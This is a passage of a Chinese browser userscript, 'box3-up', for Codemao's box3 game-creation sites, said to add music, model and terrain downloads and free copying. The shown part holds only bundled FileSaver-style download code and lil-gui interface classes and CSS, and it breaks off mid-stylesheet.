box3-up

新版 支持box3音乐下载 box3模型下载 box3地形下载 以及创作端自由复制

  1. // ==UserScript==
  2. // @name box3-up
  3. // @namespace https://shequ.codemao.cn/user/2856172
  4. // @version 1.0.0.-1
  5. // @description 新版 支持box3音乐下载 box3模型下载 box3地形下载 以及创作端自由复制
  6. // @author 伴雪纷飞
  7. // @match *://box3.codemao.cn/*
  8. // @match *://box3.ink/*
  9. // @match *://box3.fun/*
  10. // @match *://dao3.fun/*
  11. // @icon https://static.box3.codemao.cn/block/QmYUaux6sbsJg2kMSVZiCLCGUiZXmL75WUKpJoV8nHzEuu
  12. // @license GPL-3.0
  13. // @grant GM_info
  14. // @grant GM_openInTab
  15. // @grant GM_setValue
  16. // @grant unsafeWindow
  17. // ==/UserScript==
  18.  
  19. (function() {
  20. 'use strict';
  21. console.log('-*欢迎使用由伴雪纷飞编写的box3 up插件*-')
  22.  
  23. var _global = typeof window === 'object' && window.window === window ? window : typeof self === 'object' && self.self === self ? self : typeof global === 'object' && global.global === global ? global : void 0;
  24.  
  25. function bom(blob, opts) {
  26. if (typeof opts === 'undefined') opts = {
  27. autoBom: false
  28. };else if (typeof opts !== 'object') {
  29. console.warn('Deprecated: Expected third argument to be a object');
  30. opts = {
  31. autoBom: !opts
  32. };
  33. }
  34.  
  35. if (opts.autoBom && /^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(blob.type)) {
  36. return new Blob([String.fromCharCode(0xFEFF), blob], {
  37. type: blob.type
  38. });
  39. }
  40.  
  41. return blob;
  42. }
  43.  
  44. function download(url, name, opts) {
  45. var xhr = new XMLHttpRequest();
  46. xhr.open('GET', url);
  47. xhr.responseType = 'blob';
  48.  
  49. xhr.onload = function () {
  50. saveAs(xhr.response, name, opts);
  51. };
  52.  
  53. xhr.onerror = function () {
  54. console.error('could not download file');
  55. };
  56.  
  57. xhr.send();
  58. }
  59.  
  60. function corsEnabled(url) {
  61. var xhr = new XMLHttpRequest();
  62.  
  63. xhr.open('HEAD', url, false);
  64.  
  65. try {
  66. xhr.send();
  67. } catch (e) {}
  68.  
  69. return xhr.status >= 200 && xhr.status <= 299;
  70. }
  71.  
  72.  
  73. function click(node) {
  74. try {
  75. node.dispatchEvent(new MouseEvent('click'));
  76. } catch (e) {
  77. var evt = document.createEvent('MouseEvents');
  78. evt.initMouseEvent('click', true, true, window, 0, 0, 0, 80, 20, false, false, false, false, 0, null);
  79. node.dispatchEvent(evt);
  80. }
  81. }
  82. var _global = typeof window === 'object' && window.window === window ? window : typeof self === 'object' && self.self === self ? self : typeof global === 'object' && global.global === global ? global : void 0;
  83. var isMacOSWebView = _global.navigator && /Macintosh/.test(navigator.userAgent) && /AppleWebKit/.test(navigator.userAgent) && !/Safari/.test(navigator.userAgent);
  84. var saveAs = _global.saveAs || (
  85. typeof window !== 'object' || window !== _global ? function saveAs() {}
  86.  
  87. : 'download' in HTMLAnchorElement.prototype && !isMacOSWebView ? function saveAs(blob, name, opts) {
  88. var URL = _global.URL || _global.webkitURL;
  89. var a = document.createElement('a');
  90. name = name || blob.name || 'download';
  91. a.download = name;
  92. a.rel = 'noopener';
  93.  
  94. if (typeof blob === 'string') {
  95. a.href = blob;
  96.  
  97. if (a.origin !== location.origin) {
  98. corsEnabled(a.href) ? download(blob, name, opts) : click(a, a.target = '_blank');
  99. } else {
  100. click(a);
  101. }
  102. } else {
  103. a.href = URL.createObjectURL(blob);
  104. setTimeout(function () {
  105. URL.revokeObjectURL(a.href);
  106. }, 4E4);
  107.  
  108. setTimeout(function () {
  109. click(a);
  110. }, 0);
  111. }
  112. }
  113. : 'msSaveOrOpenBlob' in navigator ? function saveAs(blob, name, opts) {
  114. name = name || blob.name || 'download';
  115.  
  116. if (typeof blob === 'string') {
  117. if (corsEnabled(blob)) {
  118. download(blob, name, opts);
  119. } else {
  120. var a = document.createElement('a');
  121. a.href = blob;
  122. a.target = '_blank';
  123. setTimeout(function () {
  124. click(a);
  125. });
  126. }
  127. } else {
  128. navigator.msSaveOrOpenBlob(bom(blob, opts), name);
  129. }
  130. }
  131. : function saveAs(blob, name, opts, popup) {
  132. popup = popup || open('', '_blank');
  133.  
  134. if (popup) {
  135. popup.document.title = popup.document.body.innerText = 'downloading...';
  136. }
  137.  
  138. if (typeof blob === 'string') return download(blob, name, opts);
  139. var force = blob.type === 'application/octet-stream';
  140.  
  141. var isSafari = /constructor/i.test(_global.HTMLElement) || _global.safari;
  142.  
  143. var isChromeIOS = /CriOS\/[\d]+/.test(navigator.userAgent);
  144.  
  145. if ((isChromeIOS || force && isSafari || isMacOSWebView) && typeof FileReader !== 'undefined') {
  146. var reader = new FileReader();
  147.  
  148. reader.onloadend = function () {
  149. var url = reader.result;
  150. url = isChromeIOS ? url : url.replace(/^data:[^;]*;/, 'data:attachment/file;');
  151. if (popup) popup.location.href = url;else location = url;
  152. popup = null;
  153. };
  154.  
  155. reader.readAsDataURL(blob);
  156. } else {
  157. var URL = _global.URL || _global.webkitURL;
  158. var url = URL.createObjectURL(blob);
  159. if (popup) popup.location = url;else location.href = url;
  160. popup = null;
  161.  
  162. setTimeout(function () {
  163. URL.revokeObjectURL(url);
  164. }, 4E4);
  165. }
  166. });
  167. _global.saveAs = saveAs.saveAs = saveAs;
  168.  
  169. if (typeof module !== 'undefined') {
  170. module.exports = saveAs;
  171. }
  172.  
  173. class Controller {
  174. constructor(parent, object, property, className, widgetTag = "div") {
  175. this.parent = parent;
  176. this.object = object;
  177. this.property = property;
  178. this._disabled = false;
  179. this._hidden = false;
  180. this.initialValue = this.getValue();
  181. this.domElement = document.createElement("div");
  182. this.domElement.classList.add("controller");
  183. this.domElement.classList.add(className);
  184. this.$name = document.createElement("div");
  185. this.$name.classList.add("name");
  186. Controller.nextNameID = Controller.nextNameID || 0;
  187. this.$name.id = `lil-gui-name-${++Controller.nextNameID}`;
  188. this.$widget = document.createElement(widgetTag);
  189. this.$widget.classList.add("widget");
  190. this.$disable = this.$widget;
  191. this.domElement.appendChild(this.$name);
  192. this.domElement.appendChild(this.$widget);
  193. this.parent.children.push(this);
  194. this.parent.controllers.push(this);
  195. this.parent.$children.appendChild(this.domElement);
  196. this._listenCallback = this._listenCallback.bind(this);
  197. this.name(property);
  198. }
  199. name(name) {
  200. this._name = name;
  201. this.$name.innerHTML = name;
  202. return this;
  203. }
  204. onChange(callback) {
  205. this._onChange = callback;
  206. return this;
  207. }
  208. _callOnChange() {
  209. this.parent._callOnChange(this);
  210. if (this._onChange !== void 0) {
  211. this._onChange.call(this, this.getValue());
  212. }
  213. this._changed = true;
  214. }
  215. onFinishChange(callback) {
  216. this._onFinishChange = callback;
  217. return this;
  218. }
  219. _callOnFinishChange() {
  220. if (this._changed) {
  221. this.parent._callOnFinishChange(this);
  222. if (this._onFinishChange !== void 0) {
  223. this._onFinishChange.call(this, this.getValue());
  224. }
  225. }
  226. this._changed = false;
  227. }
  228. reset() {
  229. this.setValue(this.initialValue);
  230. this._callOnFinishChange();
  231. return this;
  232. }
  233. enable(enabled = true) {
  234. return this.disable(!enabled);
  235. }
  236. disable(disabled = true) {
  237. if (disabled === this._disabled)
  238. return this;
  239. this._disabled = disabled;
  240. this.domElement.classList.toggle("disabled", disabled);
  241. this.$disable.toggleAttribute("disabled", disabled);
  242. return this;
  243. }
  244. show(show = true) {
  245. this._hidden = !show;
  246. this.domElement.style.display = this._hidden ? "none" : "";
  247. return this;
  248. }
  249. hide() {
  250. return this.show(false);
  251. }
  252. options(options) {
  253. const controller = this.parent.add(this.object, this.property, options);
  254. controller.name(this._name);
  255. this.destroy();
  256. return controller;
  257. }
  258. min(min) {
  259. return this;
  260. }
  261. max(max) {
  262. return this;
  263. }
  264. step(step) {
  265. return this;
  266. }
  267. decimals(decimals) {
  268. return this;
  269. }
  270. listen(listen = true) {
  271. this._listening = listen;
  272. if (this._listenCallbackID !== void 0) {
  273. cancelAnimationFrame(this._listenCallbackID);
  274. this._listenCallbackID = void 0;
  275. }
  276. if (this._listening) {
  277. this._listenCallback();
  278. }
  279. return this;
  280. }
  281. _listenCallback() {
  282. this._listenCallbackID = requestAnimationFrame(this._listenCallback);
  283. const curValue = this.save();
  284. if (curValue !== this._listenPrevValue) {
  285. this.updateDisplay();
  286. }
  287. this._listenPrevValue = curValue;
  288. }
  289. getValue() {
  290. return this.object[this.property];
  291. }
  292. setValue(value) {
  293. this.object[this.property] = value;
  294. this._callOnChange();
  295. this.updateDisplay();
  296. return this;
  297. }
  298. updateDisplay() {
  299. return this;
  300. }
  301. load(value) {
  302. this.setValue(value);
  303. this._callOnFinishChange();
  304. return this;
  305. }
  306. save() {
  307. return this.getValue();
  308. }
  309. destroy() {
  310. this.listen(false);
  311. this.parent.children.splice(this.parent.children.indexOf(this), 1);
  312. this.parent.controllers.splice(this.parent.controllers.indexOf(this), 1);
  313. this.parent.$children.removeChild(this.domElement);
  314. }
  315. }
  316. class BooleanController extends Controller {
  317. constructor(parent, object, property) {
  318. super(parent, object, property, "boolean", "label");
  319. this.$input = document.createElement("input");
  320. this.$input.setAttribute("type", "checkbox");
  321. this.$input.setAttribute("aria-labelledby", this.$name.id);
  322. this.$widget.appendChild(this.$input);
  323. this.$input.addEventListener("change", () => {
  324. this.setValue(this.$input.checked);
  325. this._callOnFinishChange();
  326. });
  327. this.$disable = this.$input;
  328. this.updateDisplay();
  329. }
  330. updateDisplay() {
  331. this.$input.checked = this.getValue();
  332. return this;
  333. }
  334. }
  335. function normalizeColorString(string) {
  336. let match, result;
  337. if (match = string.match(/(#|0x)?([a-f0-9]{6})/i)) {
  338. result = match[2];
  339. } else if (match = string.match(/rgb\(\s*(\d*)\s*,\s*(\d*)\s*,\s*(\d*)\s*\)/)) {
  340. result = parseInt(match[1]).toString(16).padStart(2, 0) + parseInt(match[2]).toString(16).padStart(2, 0) + parseInt(match[3]).toString(16).padStart(2, 0);
  341. } else if (match = string.match(/^#?([a-f0-9])([a-f0-9])([a-f0-9])$/i)) {
  342. result = match[1] + match[1] + match[2] + match[2] + match[3] + match[3];
  343. }
  344. if (result) {
  345. return "#" + result;
  346. }
  347. return false;
  348. }
  349. const STRING = {
  350. isPrimitive: true,
  351. match: (v) => typeof v === "string",
  352. fromHexString: normalizeColorString,
  353. toHexString: normalizeColorString
  354. };
  355. const INT = {
  356. isPrimitive: true,
  357. match: (v) => typeof v === "number",
  358. fromHexString: (string) => parseInt(string.substring(1), 16),
  359. toHexString: (value) => "#" + value.toString(16).padStart(6, 0)
  360. };
  361. const ARRAY = {
  362. isPrimitive: false,
  363. match: Array.isArray,
  364. fromHexString(string, target, rgbScale = 1) {
  365. const int = INT.fromHexString(string);
  366. target[0] = (int >> 16 & 255) / 255 * rgbScale;
  367. target[1] = (int >> 8 & 255) / 255 * rgbScale;
  368. target[2] = (int & 255) / 255 * rgbScale;
  369. },
  370. toHexString([r, g, b], rgbScale = 1) {
  371. rgbScale = 255 / rgbScale;
  372. const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
  373. return INT.toHexString(int);
  374. }
  375. };
  376. const OBJECT = {
  377. isPrimitive: false,
  378. match: (v) => Object(v) === v,
  379. fromHexString(string, target, rgbScale = 1) {
  380. const int = INT.fromHexString(string);
  381. target.r = (int >> 16 & 255) / 255 * rgbScale;
  382. target.g = (int >> 8 & 255) / 255 * rgbScale;
  383. target.b = (int & 255) / 255 * rgbScale;
  384. },
  385. toHexString({ r, g, b }, rgbScale = 1) {
  386. rgbScale = 255 / rgbScale;
  387. const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
  388. return INT.toHexString(int);
  389. }
  390. };
  391. const FORMATS = [STRING, INT, ARRAY, OBJECT];
  392. function getColorFormat(value) {
  393. return FORMATS.find((format) => format.match(value));
  394. }
  395. class ColorController extends Controller {
  396. constructor(parent, object, property, rgbScale) {
  397. super(parent, object, property, "color");
  398. this.$input = document.createElement("input");
  399. this.$input.setAttribute("type", "color");
  400. this.$input.setAttribute("tabindex", -1);
  401. this.$input.setAttribute("aria-labelledby", this.$name.id);
  402. this.$text = document.createElement("input");
  403. this.$text.setAttribute("type", "text");
  404. this.$text.setAttribute("spellcheck", "false");
  405. this.$text.setAttribute("aria-labelledby", this.$name.id);
  406. this.$display = document.createElement("div");
  407. this.$display.classList.add("display");
  408. this.$display.appendChild(this.$input);
  409. this.$widget.appendChild(this.$display);
  410. this.$widget.appendChild(this.$text);
  411. this._format = getColorFormat(this.initialValue);
  412. this._rgbScale = rgbScale;
  413. this._initialValueHexString = this.save();
  414. this._textFocused = false;
  415. this.$input.addEventListener("input", () => {
  416. this._setValueFromHexString(this.$input.value);
  417. });
  418. this.$input.addEventListener("blur", () => {
  419. this._callOnFinishChange();
  420. });
  421. this.$text.addEventListener("input", () => {
  422. const tryParse = normalizeColorString(this.$text.value);
  423. if (tryParse) {
  424. this._setValueFromHexString(tryParse);
  425. }
  426. });
  427. this.$text.addEventListener("focus", () => {
  428. this._textFocused = true;
  429. this.$text.select();
  430. });
  431. this.$text.addEventListener("blur", () => {
  432. this._textFocused = false;
  433. this.updateDisplay();
  434. this._callOnFinishChange();
  435. });
  436. this.$disable = this.$text;
  437. this.updateDisplay();
  438. }
  439. reset() {
  440. this._setValueFromHexString(this._initialValueHexString);
  441. return this;
  442. }
  443. _setValueFromHexString(value) {
  444. if (this._format.isPrimitive) {
  445. const newValue = this._format.fromHexString(value);
  446. this.setValue(newValue);
  447. } else {
  448. this._format.fromHexString(value, this.getValue(), this._rgbScale);
  449. this._callOnChange();
  450. this.updateDisplay();
  451. }
  452. }
  453. save() {
  454. return this._format.toHexString(this.getValue(), this._rgbScale);
  455. }
  456. load(value) {
  457. this._setValueFromHexString(value);
  458. this._callOnFinishChange();
  459. return this;
  460. }
  461. updateDisplay() {
  462. this.$input.value = this._format.toHexString(this.getValue(), this._rgbScale);
  463. if (!this._textFocused) {
  464. this.$text.value = this.$input.value.substring(1);
  465. }
  466. this.$display.style.backgroundColor = this.$input.value;
  467. return this;
  468. }
  469. }
  470. class FunctionController extends Controller {
  471. constructor(parent, object, property) {
  472. super(parent, object, property, "function");
  473. this.$button = document.createElement("button");
  474. this.$button.appendChild(this.$name);
  475. this.$widget.appendChild(this.$button);
  476. this.$button.addEventListener("click", (e) => {
  477. e.preventDefault();
  478. this.getValue().call(this.object);
  479. });
  480. this.$button.addEventListener("touchstart", () => {
  481. }, { passive: true });
  482. this.$disable = this.$button;
  483. }
  484. }
  485. class NumberController extends Controller {
  486. constructor(parent, object, property, min, max, step) {
  487. super(parent, object, property, "number");
  488. this._initInput();
  489. this.min(min);
  490. this.max(max);
  491. const stepExplicit = step !== void 0;
  492. this.step(stepExplicit ? step : this._getImplicitStep(), stepExplicit);
  493. this.updateDisplay();
  494. }
  495. decimals(decimals) {
  496. this._decimals = decimals;
  497. this.updateDisplay();
  498. return this;
  499. }
  500. min(min) {
  501. this._min = min;
  502. this._onUpdateMinMax();
  503. return this;
  504. }
  505. max(max) {
  506. this._max = max;
  507. this._onUpdateMinMax();
  508. return this;
  509. }
  510. step(step, explicit = true) {
  511. this._step = step;
  512. this._stepExplicit = explicit;
  513. return this;
  514. }
  515. updateDisplay() {
  516. const value = this.getValue();
  517. if (this._hasSlider) {
  518. let percent = (value - this._min) / (this._max - this._min);
  519. percent = Math.max(0, Math.min(percent, 1));
  520. this.$fill.style.width = percent * 100 + "%";
  521. }
  522. if (!this._inputFocused) {
  523. this.$input.value = this._decimals === void 0 ? value : value.toFixed(this._decimals);
  524. }
  525. return this;
  526. }
  527. _initInput() {
  528. this.$input = document.createElement("input");
  529. this.$input.setAttribute("type", "number");
  530. this.$input.setAttribute("step", "any");
  531. this.$input.setAttribute("aria-labelledby", this.$name.id);
  532. this.$widget.appendChild(this.$input);
  533. this.$disable = this.$input;
  534. const onInput = () => {
  535. let value = parseFloat(this.$input.value);
  536. if (isNaN(value))
  537. return;
  538. if (this._stepExplicit) {
  539. value = this._snap(value);
  540. }
  541. this.setValue(this._clamp(value));
  542. };
  543. const increment = (delta) => {
  544. const value = parseFloat(this.$input.value);
  545. if (isNaN(value))
  546. return;
  547. this._snapClampSetValue(value + delta);
  548. this.$input.value = this.getValue();
  549. };
  550. const onKeyDown = (e) => {
  551. if (e.code === "Enter") {
  552. this.$input.blur();
  553. }
  554. if (e.code === "ArrowUp") {
  555. e.preventDefault();
  556. increment(this._step * this._arrowKeyMultiplier(e));
  557. }
  558. if (e.code === "ArrowDown") {
  559. e.preventDefault();
  560. increment(this._step * this._arrowKeyMultiplier(e) * -1);
  561. }
  562. };
  563. const onWheel = (e) => {
  564. if (this._inputFocused) {
  565. e.preventDefault();
  566. increment(this._step * this._normalizeMouseWheel(e));
  567. }
  568. };
  569. let testingForVerticalDrag = false, initClientX, initClientY, prevClientY, initValue, dragDelta;
  570. const DRAG_THRESH = 5;
  571. const onMouseDown = (e) => {
  572. initClientX = e.clientX;
  573. initClientY = prevClientY = e.clientY;
  574. testingForVerticalDrag = true;
  575. initValue = this.getValue();
  576. dragDelta = 0;
  577. window.addEventListener("mousemove", onMouseMove);
  578. window.addEventListener("mouseup", onMouseUp);
  579. };
  580. const onMouseMove = (e) => {
  581. if (testingForVerticalDrag) {
  582. const dx = e.clientX - initClientX;
  583. const dy = e.clientY - initClientY;
  584. if (Math.abs(dy) > DRAG_THRESH) {
  585. e.preventDefault();
  586. this.$input.blur();
  587. testingForVerticalDrag = false;
  588. this._setDraggingStyle(true, "vertical");
  589. } else if (Math.abs(dx) > DRAG_THRESH) {
  590. onMouseUp();
  591. }
  592. }
  593. if (!testingForVerticalDrag) {
  594. const dy = e.clientY - prevClientY;
  595. dragDelta -= dy * this._step * this._arrowKeyMultiplier(e);
  596. if (initValue + dragDelta > this._max) {
  597. dragDelta = this._max - initValue;
  598. } else if (initValue + dragDelta < this._min) {
  599. dragDelta = this._min - initValue;
  600. }
  601. this._snapClampSetValue(initValue + dragDelta);
  602. }
  603. prevClientY = e.clientY;
  604. };
  605. const onMouseUp = () => {
  606. this._setDraggingStyle(false, "vertical");
  607. this._callOnFinishChange();
  608. window.removeEventListener("mousemove", onMouseMove);
  609. window.removeEventListener("mouseup", onMouseUp);
  610. };
  611. const onFocus = () => {
  612. this._inputFocused = true;
  613. };
  614. const onBlur = () => {
  615. this._inputFocused = false;
  616. this.updateDisplay();
  617. this._callOnFinishChange();
  618. };
  619. this.$input.addEventListener("input", onInput);
  620. this.$input.addEventListener("keydown", onKeyDown);
  621. this.$input.addEventListener("wheel", onWheel, { passive: false });
  622. this.$input.addEventListener("mousedown", onMouseDown);
  623. this.$input.addEventListener("focus", onFocus);
  624. this.$input.addEventListener("blur", onBlur);
  625. }
  626. _initSlider() {
  627. this._hasSlider = true;
  628. this.$slider = document.createElement("div");
  629. this.$slider.classList.add("slider");
  630. this.$fill = document.createElement("div");
  631. this.$fill.classList.add("fill");
  632. this.$slider.appendChild(this.$fill);
  633. this.$widget.insertBefore(this.$slider, this.$input);
  634. this.domElement.classList.add("hasSlider");
  635. const map = (v, a, b, c, d) => {
  636. return (v - a) / (b - a) * (d - c) + c;
  637. };
  638. const setValueFromX = (clientX) => {
  639. const rect = this.$slider.getBoundingClientRect();
  640. let value = map(clientX, rect.left, rect.right, this._min, this._max);
  641. this._snapClampSetValue(value);
  642. };
  643. const mouseDown = (e) => {
  644. this._setDraggingStyle(true);
  645. setValueFromX(e.clientX);
  646. window.addEventListener("mousemove", mouseMove);
  647. window.addEventListener("mouseup", mouseUp);
  648. };
  649. const mouseMove = (e) => {
  650. setValueFromX(e.clientX);
  651. };
  652. const mouseUp = () => {
  653. this._callOnFinishChange();
  654. this._setDraggingStyle(false);
  655. window.removeEventListener("mousemove", mouseMove);
  656. window.removeEventListener("mouseup", mouseUp);
  657. };
  658. let testingForScroll = false, prevClientX, prevClientY;
  659. const beginTouchDrag = (e) => {
  660. e.preventDefault();
  661. this._setDraggingStyle(true);
  662. setValueFromX(e.touches[0].clientX);
  663. testingForScroll = false;
  664. };
  665. const onTouchStart = (e) => {
  666. if (e.touches.length > 1)
  667. return;
  668. if (this._hasScrollBar) {
  669. prevClientX = e.touches[0].clientX;
  670. prevClientY = e.touches[0].clientY;
  671. testingForScroll = true;
  672. } else {
  673. beginTouchDrag(e);
  674. }
  675. window.addEventListener("touchmove", onTouchMove, { passive: false });
  676. window.addEventListener("touchend", onTouchEnd);
  677. };
  678. const onTouchMove = (e) => {
  679. if (testingForScroll) {
  680. const dx = e.touches[0].clientX - prevClientX;
  681. const dy = e.touches[0].clientY - prevClientY;
  682. if (Math.abs(dx) > Math.abs(dy)) {
  683. beginTouchDrag(e);
  684. } else {
  685. window.removeEventListener("touchmove", onTouchMove);
  686. window.removeEventListener("touchend", onTouchEnd);
  687. }
  688. } else {
  689. e.preventDefault();
  690. setValueFromX(e.touches[0].clientX);
  691. }
  692. };
  693. const onTouchEnd = () => {
  694. this._callOnFinishChange();
  695. this._setDraggingStyle(false);
  696. window.removeEventListener("touchmove", onTouchMove);
  697. window.removeEventListener("touchend", onTouchEnd);
  698. };
  699. const callOnFinishChange = this._callOnFinishChange.bind(this);
  700. const WHEEL_DEBOUNCE_TIME = 400;
  701. let wheelFinishChangeTimeout;
  702. const onWheel = (e) => {
  703. const isVertical = Math.abs(e.deltaX) < Math.abs(e.deltaY);
  704. if (isVertical && this._hasScrollBar)
  705. return;
  706. e.preventDefault();
  707. const delta = this._normalizeMouseWheel(e) * this._step;
  708. this._snapClampSetValue(this.getValue() + delta);
  709. this.$input.value = this.getValue();
  710. clearTimeout(wheelFinishChangeTimeout);
  711. wheelFinishChangeTimeout = setTimeout(callOnFinishChange, WHEEL_DEBOUNCE_TIME);
  712. };
  713. this.$slider.addEventListener("mousedown", mouseDown);
  714. this.$slider.addEventListener("touchstart", onTouchStart, { passive: false });
  715. this.$slider.addEventListener("wheel", onWheel, { passive: false });
  716. }
  717. _setDraggingStyle(active, axis = "horizontal") {
  718. if (this.$slider) {
  719. this.$slider.classList.toggle("active", active);
  720. }
  721. document.body.classList.toggle("lil-gui-dragging", active);
  722. document.body.classList.toggle(`lil-gui-${axis}`, active);
  723. }
  724. _getImplicitStep() {
  725. if (this._hasMin && this._hasMax) {
  726. return (this._max - this._min) / 1e3;
  727. }
  728. return 0.1;
  729. }
  730. _onUpdateMinMax() {
  731. if (!this._hasSlider && this._hasMin && this._hasMax) {
  732. if (!this._stepExplicit) {
  733. this.step(this._getImplicitStep(), false);
  734. }
  735. this._initSlider();
  736. this.updateDisplay();
  737. }
  738. }
  739. _normalizeMouseWheel(e) {
  740. let { deltaX, deltaY } = e;
  741. if (Math.floor(e.deltaY) !== e.deltaY && e.wheelDelta) {
  742. deltaX = 0;
  743. deltaY = -e.wheelDelta / 120;
  744. deltaY *= this._stepExplicit ? 1 : 10;
  745. }
  746. const wheel = deltaX + -deltaY;
  747. return wheel;
  748. }
  749. _arrowKeyMultiplier(e) {
  750. let mult = this._stepExplicit ? 1 : 10;
  751. if (e.shiftKey) {
  752. mult *= 10;
  753. } else if (e.altKey) {
  754. mult /= 10;
  755. }
  756. return mult;
  757. }
  758. _snap(value) {
  759. const r = Math.round(value / this._step) * this._step;
  760. return parseFloat(r.toPrecision(15));
  761. }
  762. _clamp(value) {
  763. if (value < this._min)
  764. value = this._min;
  765. if (value > this._max)
  766. value = this._max;
  767. return value;
  768. }
  769. _snapClampSetValue(value) {
  770. this.setValue(this._clamp(this._snap(value)));
  771. }
  772. get _hasScrollBar() {
  773. const root = this.parent.root.$children;
  774. return root.scrollHeight > root.clientHeight;
  775. }
  776. get _hasMin() {
  777. return this._min !== void 0;
  778. }
  779. get _hasMax() {
  780. return this._max !== void 0;
  781. }
  782. }
  783. class OptionController extends Controller {
  784. constructor(parent, object, property, options) {
  785. super(parent, object, property, "option");
  786. this.$select = document.createElement("select");
  787. this.$select.setAttribute("aria-labelledby", this.$name.id);
  788. this.$display = document.createElement("div");
  789. this.$display.classList.add("display");
  790. this._values = Array.isArray(options) ? options : Object.values(options);
  791. this._names = Array.isArray(options) ? options : Object.keys(options);
  792. this._names.forEach((name) => {
  793. const $option = document.createElement("option");
  794. $option.innerHTML = name;
  795. this.$select.appendChild($option);
  796. });
  797. this.$select.addEventListener("change", () => {
  798. this.setValue(this._values[this.$select.selectedIndex]);
  799. this._callOnFinishChange();
  800. });
  801. this.$select.addEventListener("focus", () => {
  802. this.$display.classList.add("focus");
  803. });
  804. this.$select.addEventListener("blur", () => {
  805. this.$display.classList.remove("focus");
  806. });
  807. this.$widget.appendChild(this.$select);
  808. this.$widget.appendChild(this.$display);
  809. this.$disable = this.$select;
  810. this.updateDisplay();
  811. }
  812. updateDisplay() {
  813. const value = this.getValue();
  814. const index = this._values.indexOf(value);
  815. this.$select.selectedIndex = index;
  816. this.$display.innerHTML = index === -1 ? value : this._names[index];
  817. return this;
  818. }
  819. }
  820. class StringController extends Controller {
  821. constructor(parent, object, property) {
  822. super(parent, object, property, "string");
  823. this.$input = document.createElement("input");
  824. this.$input.setAttribute("type", "text");
  825. this.$input.setAttribute("aria-labelledby", this.$name.id);
  826. this.$input.addEventListener("input", () => {
  827. this.setValue(this.$input.value);
  828. });
  829. this.$input.addEventListener("keydown", (e) => {
  830. if (e.code === "Enter") {
  831. this.$input.blur();
  832. }
  833. });
  834. this.$input.addEventListener("blur", () => {
  835. this._callOnFinishChange();
  836. });
  837. this.$widget.appendChild(this.$input);
  838. this.$disable = this.$input;
  839. this.updateDisplay();
  840. }
  841. updateDisplay() {
  842. this.$input.value = this.getValue();
  843. return this;
  844. }
  845. }
  846. const stylesheet = `.lil-gui {
  847. font-family: var(--font-family);
  848. font-size: var(--font-size);
  849. line-height: 1;
  850. font-weight: normal;
  851. font-style: normal;
  852. text-align: left;
  853. background-color: var(--background-color);
  854. color: var(--text-color);
  855. user-select: none;
  856. -webkit-user-select: none;
  857. touch-action: manipulation;
  858. --background-color: #1f1f1f;
  859. --text-color: #ebebeb;
  860. --title-background-color: #111111;
  861. --title-text-color: #ebebeb;
  862. --widget-color: #424242;
  863. --hover-color: #4f4f4f;
  864. --focus-color: #595959;
  865. --number-color: #2cc9ff;
  866. --string-color: #a2db3c;
  867. --font-size: 11px;
  868. --input-font-size: 11px;
  869. --font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  870. --font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;
  871. --padding: 4px;
  872. --spacing: 4px;
  873. --widget-height: 20px;
  874. --name-width: 45%;
  875. --slider-knob-width: 2px;
  876. --slider-input-width: 27%;
  877. --color-input-width: 27%;
  878. --slider-input-min-width: 45px;
  879. --color-input-min-width: 45px;
  880. --folder-indent: 7px;
  881. --widget-padding: 0 0 0 3px;
  882. --widget-border-radius: 2px;
  883. --checkbox-size: calc(0.75 * var(--widget-height));
  884. --scrollbar-width: 5px;
  885. }
  886. .lil-gui, .lil-gui * {
  887. box-sizing: border-box;
  888. margin: 0;
  889. padding: 0;
  890. }
  891. .lil-gui.root {
  892. width: var(--width, 245px);
  893. display: flex;
  894. flex-direction: column;
  895. }
  896. .lil-gui.root > .title {
  897. background: var(--title-background-color);
  898. color: var(--title-text-color);
  899. }
  900. .lil-gui.root > .children {
  901. overflow-x: hidden;
  902. overflow-y: auto;
  903. }
  904. .lil-gui.root > .children::-webkit-scrollbar {
  905. width: var(--scrollbar-width);
  906. height: var(--scrollbar-width);
  907. background: var(--background-color);
  908. }
  909. .lil-gui.root > .children::-webkit-scrollbar-thumb {
  910. border-radius: var(--scrollbar-width);
  911. background: var(--focus-color);
  912. }
  913. @media (pointer: coarse) {
  914. .lil-gui.allow-touch-styles {
  915. --widget-height: 28px;
  916. --padding: 6px;
  917. --spacing: 6px;
  918. --font-size: 13px;
  919. --input-font-size: 16px;
  920. --folder-indent: 10px;
  921. --scrollbar-width: 7px;
  922. --slider-input-min-width: 50px;
  923. --color-input-min-width: 65px;
  924. }
  925. }
  926. .lil-gui.force-touch-styles {
  927. --widget-height: 28px;
  928. --padding: 6px;
  929. --spacing: 6px;
  930. --font-size: 13px;
  931. --input-font-size: 16px;
  932. --folder-indent: 10px;
  933. --scrollbar-width: 7px;
  934. --slider-input-min-width: 50px;
  935. --color-input-min-width: 65px;
  936. }
  937. .lil-gui.autoPlace {
  938. max-height: 100%;
  939. position: fixed;
  940. top: 0;
  941. right: 15px;
  942. z-index: 1001;
  943. }
  944. .lil-gui .controller {
  945. display: flex;
  946. align-items: center;
  947. padding: 0 var(--padding);
  948. margin: var(--spacing) 0;
  949. }
  950. .lil-gui .controller.disabled {
  951. opacity: 0.5;
  952. }
  953. .lil-gui .controller.disabled, .lil-gui .controller.disabled * {
  954. pointer-events: none !important;
  955. }
  956. .lil-gui .controller > .name {
  957. min-width: var(--name-width);
  958. flex-shrink: 0;
  959. white-space: pre;
  960. padding-right: var(--spacing);
  961. line-height: var(--widget-height);
  962. }
  963. .lil-gui .controller .widget {
  964. position: relative;
  965. display: flex;
  966. align-items: center;
  967. width: 100%;
  968. min-height: var(--widget-height);
  969. }
  970. .lil-gui .controller.string input {
  971. color: var(--string-color);
  972. }
  973. .lil-gui .controller.boolean .widget {
  974. cursor: pointer;
  975. }
  976. .lil-gui .controller.color .display {
  977. width: 100%;
  978. height: var(--widget-height);
  979. border-radius: var(--widget-border-radius);
  980. position: relative;
  981. }
  982. @media (hover: hover) {
  983. .lil-gui .controller.color .display:hover:before {
  984. content: " ";
  985. display: block;
  986. position: absolute;
  987. border-radius: var(--widget-border-radius);
  988. border: 1px solid #fff9;
  989. top: 0;
  990. right: 0;
  991. bottom: 0;
  992. left: 0;
  993. }
  994. }
